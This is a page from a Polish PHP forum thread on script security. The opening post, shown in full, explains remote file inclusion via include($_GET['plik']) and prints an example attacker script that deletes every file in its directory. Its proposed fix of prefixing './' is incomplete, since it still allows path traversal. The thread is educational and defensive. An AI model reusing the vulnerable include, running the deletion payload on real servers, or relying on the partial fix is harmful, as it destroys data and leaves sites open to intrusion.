Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Bezpieczeństwo skryptów PHP, Jak zabezpieczyć się przed włamaniem
Diwi
post 5.05.2005, 13:21:40
Post #41





Grupa: Zarejestrowani
Postów: 245
Pomógł: 4
Dołączył: 22.01.2005

Ostrzeżenie: (0%)
-----


Witam.

Chciałbym rozpocząć temat o bezpieczeństwie skryptów php. Na forum istnieje już temat o bezpieczeństwu przy wykonywaniu zapytania SQL lecz nie ma o ogólnym bezpieczeństwie skryptów.

1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:
  1. <?php
  2. include($_GET['plik']);
  3. ?>


Taki skrypt dokonałby dołączenia pliku katalog.php do skryptu lecz co by się stało gdyby włamywacz wpisał taki adres:
http://www.jakas-strona.pl/index.php?plik=...t-niszczacy.php

Dajmy na to że skrypt znajdujący się na serwerze hakera wygląda tak:

  1. <?php
  2.  
  3. $katalog = opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
  4.  
  5. while ($plik = readdir($katalog)) {
  6.  
  7. unlink($file);
  8.  
  9. }
  10.  
  11. ?>


No i jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie ich przez skrypt to możemy się pożegnać z plikami w katalogu.

Jak temu zapobiec questionmark.gif

Rozwiązanie 1.

Tworzymy taki include:
  1. <?php
  2. include('./'.$_GET['katalog']);
  3. ?>


Taka instrukcja pozwala na dołączanie jedynie plików które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

Ja narazie pamiętam tylko tyle lecz jeżeli znacie jakieś inne błędy popełniane przez programistów a także sposoby walczenia z nimi to się tutaj dopiszcie smile.gif

Pozdrawiam

// prosiłbym moderatorów (jeżeli można) o przyklejenie tego tematu

---
Przyklejone - hwao
Go to the top of the page
+Quote Post

Posty w temacie
- Diwi   Bezpieczeństwo skryptów PHP   5.05.2005, 13:21:40
- - thornag   Wracajac do powyższej dyskusji na temat include to...   13.04.2006, 14:29:58
- - kszychu   @thornag: dziękujemy za jakże wnikliwą analizę pro...   13.04.2006, 16:40:36
- - J4r0d   Co znaczy apach na chroocie?   13.04.2006, 21:27:45
- - thornag   Cytat(kszychu @ 2006-04-13 15:40:36)@thornag:...   14.04.2006, 02:19:00
- - Nightwalker   Witam, Mam pytanie, czy ten kod jest w miare bezp...   14.04.2006, 03:26:13
- - mumin.php   Witam Jestem nowy na forum i zgodnie z sugestią m...   30.05.2006, 07:45:59
- - sopel   zabezpieczając się najpeirw należy ...   30.05.2006, 08:38:20
|- - mumin.php   Cytat(sopel @ 30.05.2006, 09:38 ) 2. ...   30.05.2006, 10:33:54
|- - sopel   Cytat(mumin.php @ 30.05.2006, 11:33 ) Prz...   4.06.2006, 19:57:25
- - mumin.php   to może trochę sprecyzuję Te zagrożone formularze...   30.05.2006, 09:26:45
|- - sopel   Cytat(mumin.php @ 30.05.2006, 10:26 ) ...   30.05.2006, 09:29:06
- - Speedy   Wystarczy wysłać odpowiedni nagłówek i w nim zdefi...   4.06.2006, 19:18:58
- - NuLL   Podziele sie z Wami moim pomyslem jak ja zalatwiam...   5.06.2006, 01:40:06
- - Vengeance   @NuLL: Skoro sprawdzałeś to OK, ale dla mnie to ża...   21.07.2006, 21:09:53
- - mariuszn3   NuLL a co z tymi co mają wyłączoną obsługę ciastec...   22.07.2006, 12:23:11
|- - NuLL   Cytat(mariuszn3 @ 22.07.2006, 13:23 ) NuL...   26.07.2006, 13:16:24
- - Turgon   Czy przechowywanie id sesji w ciachu jest bezpiecz...   1.08.2006, 18:26:12
|- - sopel   Cytat(Turgon @ 1.08.2006, 19:26 ) Czy prz...   1.08.2006, 19:32:58
- - Turgon   O to właśnie mi chodziło. Skrypt miałby się w przy...   2.08.2006, 08:21:50
- - d@ro   W swoim cms, nie wiem czy zrobić tak: [PHP] p...   4.08.2006, 10:43:27
- - kalu111   A jakich powinno sie ustrzegac znakow w zmiennych ...   20.08.2006, 09:55:10
- - iks   A czy mój tok myślenia jest dobry? Mam zrobione lo...   3.11.2006, 13:36:29
- - Saddam92   a czy moglibyście powiedzieć czy ten skrypt jest b...   29.11.2006, 13:40:53
- - Termit_   A jak ktoś poda w zmiennej coś typu "../../.....   30.11.2006, 21:36:25
- - Saddam92   @termit: to do mnie było jesli tak to raczej nie ...   30.11.2006, 23:17:28
- - Najki   Przed chwilą przeczytałem ten artyku...   1.12.2006, 10:26:12
- - mariuszn3   Nigdy nie powinno się ufać nagłówkom http, nagłówk...   1.12.2006, 13:38:15
- - tumeks   Czyli jeśli będę miał np. wstawiony kod: [PHP] pob...   5.12.2006, 19:01:57
- - Sedziwoj   @Najki jest proste rozwiązanie nadanie pliku własn...   7.12.2006, 13:50:49
- - Saddam92   no dobrze.. tylko ze tutaj jest sprawdzany typ pli...   8.12.2006, 21:42:34
- - Sedziwoj   bardziej wiarygodną rzeczą jest mime, bo plik imag...   9.12.2006, 12:08:30
- - cadavre   http://pl.php.net/manual/pl/function.getimagesize....   9.12.2006, 13:50:07
- - Sedziwoj   No to ten problem da się rozwiązać Wystarczy wyko...   10.12.2006, 18:41:56
- - mariuszn3   Nie wynajdujcie koła na nowo. To wszystko już zost...   10.12.2006, 18:49:29
- - Sedziwoj   No tak jak ma się sklerozę... to trzeba się narobi...   10.12.2006, 20:00:12
- - orglee   Zabezpieczanie tablicy $_GET ( Żywcem wyjęte ...   31.01.2007, 13:44:38
- - Sedziwoj   Tak mnie zastanawia co się stanie jeśli $_GET...   2.02.2007, 03:30:17
- - insenic   Czy zabezpieczenie katalogu przez .htaccess jest 1...   25.02.2007, 16:21:27
|- - sopel   Cytat(insenic @ 25.02.2007, 16:21:27 ...   26.02.2007, 08:51:32
- - Ivellios   Witam, chciałbym się was zapytać, czy przedstawion...   2.03.2007, 23:03:09
- - Sedziwoj   Ivellios przeczytaj to co już jest, tam znajdziesz...   4.03.2007, 02:39:44
- - Ivellios   Co do tego addslasha to zmieniłem go na mysql_esca...   4.03.2007, 07:54:58
- - upaupa   Przeczytałem cały topic - filtrowanie, if fileexi...   27.03.2007, 14:11:39
- - Sedziwoj   upaupa widocznie nie czytałeś wszystkiego... bo ju...   27.03.2007, 16:00:29
- - upaupa   a co za różnica czy switch czy else if? - żadna op...   27.03.2007, 17:09:08
|- - Sedziwoj   Przecież przejrzystość i łatwość rozbudowy kodu je...   27.03.2007, 18:27:51
- - dantekir   Witam, Postanowiłem popracować troche nad bezpiec...   29.04.2007, 16:47:22
- - bełdzio   ad1. google + mod_rewrite ad2. w konfigu php ew. w...   29.04.2007, 17:07:31
- - radex_p   O jednym zapomnieliście - Z includowaniem plików p...   4.05.2007, 17:38:46
- - Kicok   1. [PHP] pobierz, plaintext <?php$id = $_GET...   4.05.2007, 17:49:27
|- - radex_p   Cytat(Kicok @ 4.05.2007, 16:49:27 ) 1...   6.05.2007, 15:52:45
- - bełdzio   @Kicok pkt1 == pkt2 to że dodawane jest automatyc...   5.05.2007, 00:12:38
- - peen   hmm... trochę tu śmietnik... zgubiłem się gdzieś n...   31.05.2007, 02:52:48
- - bełdzio   boo ;-) ad1. Null byte attack ad2. nic jeśli pó...   31.05.2007, 18:53:07
- - peen   ad boo. hmm... spróbuj zrobić tak żeby n...   1.06.2007, 12:28:42
- - bełdzio   ad ad boo, to jest błąd i tyle, co za problem prze...   1.06.2007, 14:14:53
- - peen   ad ad ad 1 wpisuje nazwę innego pliku znajd...   1.06.2007, 18:47:30
- - bmL   Czytam i czytam i już dobre pół godziny czytam i n...   5.09.2007, 21:06:27
- - Sedziwoj   po pierwsze ten skrypt nie działa po drugie zamias...   5.09.2007, 22:41:49
- - bmL   Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ...   6.09.2007, 15:01:46
- - potreb   Poruszacie tutaj temat łączenia stron, a jak sie m...   27.09.2007, 13:11:06
- - bełdzio   co do plików => http://www.beldzio.com/bezpiecz...   27.09.2007, 19:32:22
- - consto   Witam wszystkich ... Temat bezpiecznego podpinani...   18.10.2007, 20:27:50
- - marcio   czytalem juz ten temat kilka razy i teraz przeczyt...   27.10.2007, 23:59:19
- - gladiror   [PHP] pobierz, plaintext <?php$file=$_GET['...   18.12.2007, 22:18:10
- - bełdzio   @marcio check this http://www.beldzio.com/bezpiecz...   18.12.2007, 23:20:17
- - Brick   Chciałbym zwrócić uwagę na jedną rzecz związaną z ...   26.02.2008, 12:18:17
- - Kocurro   Na tym polega odpowiednie zaprogramowanie autentyk...   26.02.2008, 12:22:11
- - mike   Wrzucenie uprawnień do sesji ma na celu dwie ...   26.02.2008, 12:33:51
|- - Sedziwoj   Cytat(mike @ 26.02.2008, 12:33:51 ) 2...   8.03.2008, 15:36:36
- - Kocurro   Rozwijając moją poprzednią wypowiedź: Sesje trzym...   26.02.2008, 13:09:40
- - Jarod   Ja uprawnienia pobieram tylko podczas logowania, n...   8.03.2008, 19:57:03
- - MajareQ   Może wrócę do bezpieczeństwa bezpośredniego... Oto...   20.03.2008, 11:31:19
|- - bełdzio   Cytat(MajareQ @ 20.03.2008, 11:31:19 ...   20.03.2008, 13:49:52
- - MajareQ   Wszystkimi dotyczącymi formularzy, ciastek, SQL ic...   20.03.2008, 13:55:00
|- - bełdzio   Cytat(MajareQ @ 20.03.2008, 13:55:00 ...   22.03.2008, 13:08:30
- - sopel   @MajareQ, poczytaj trochę więcej o bezpieczeństwie...   20.03.2008, 14:33:59
|- - MajareQ   Cytat(sopel @ 20.03.2008, 14:33:59 ) ...   21.03.2008, 22:59:42
- - Sedziwoj   @cool_solar Raczej brak zrozumienia działania funk...   21.03.2008, 20:37:51
- - Xniver   Znowu Ameryki nie odkryłeś . Poza tym le...   21.03.2008, 23:12:16
- - MajareQ   ten kod zamienia znaki Kod' i Kod" na Kod...   22.03.2008, 16:27:33
|- - bełdzio   Cytat(MajareQ @ 22.03.2008, 16:27:33 ...   23.03.2008, 12:34:09
- - MajareQ   Czy ja napisałem ze to zabezpieczy przed wszystkim...   23.03.2008, 15:10:13
- - Sedziwoj   @MajareQ Kombinujesz, a nic nowego nie piszesz. P...   23.03.2008, 20:24:03
- - kiamil   Cytat(NuLL @ 5.06.2006, 02:40:06 ) Po...   6.09.2008, 10:01:15
- - Lejto   Znalazłem w sieci ciekawą stroną z materiałami vid...   25.10.2008, 10:03:54
- - renderman   Witam wszystkich, Po przeczytaniu całego tema...   9.11.2008, 19:18:47
- - bełdzio   jeśli chodzi o inkludowanie plików zerknij tu -...   9.11.2008, 19:29:12
- - renderman   Szczerze mimo że widze jakies sensowne rozwiązania...   9.11.2008, 19:48:17
- - gladiror   Ogólnie mówiąc niby zasada jest prosta: "To c...   9.11.2008, 21:16:43
- - renderman   Gdzies obiło mi się o uszy... lepiej iśc w framewo...   9.11.2008, 21:36:06
- - mlattari   Ja piszę przeważnie wszystko w edytorze nano :-) A...   1.03.2009, 17:24:14
|- - bełdzio   Cytat(mlattari @ 1.03.2009, 17:24:14 ...   1.03.2009, 18:08:44
- - erix   Jeśli masz babola w skrypcie, to tak. Można równi...   1.03.2009, 17:57:30
- - mlattari   Witam! Pisałem już w innym wątku o mojej ...   2.03.2009, 17:51:59
- - dr_bonzo   CytatCzy jest jakiś sposób (skuteczny) na to, żeby...   2.03.2009, 18:03:56
- - mlattari   hmmm a dlaczego pomysł jest idiotyczny? Może coś n...   2.03.2009, 18:28:03
4 Stron V  < 1 2 3 > » 


Reply to this topicStart new topic
3 Użytkowników czyta ten temat (3 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 20.05.2024 - 02:39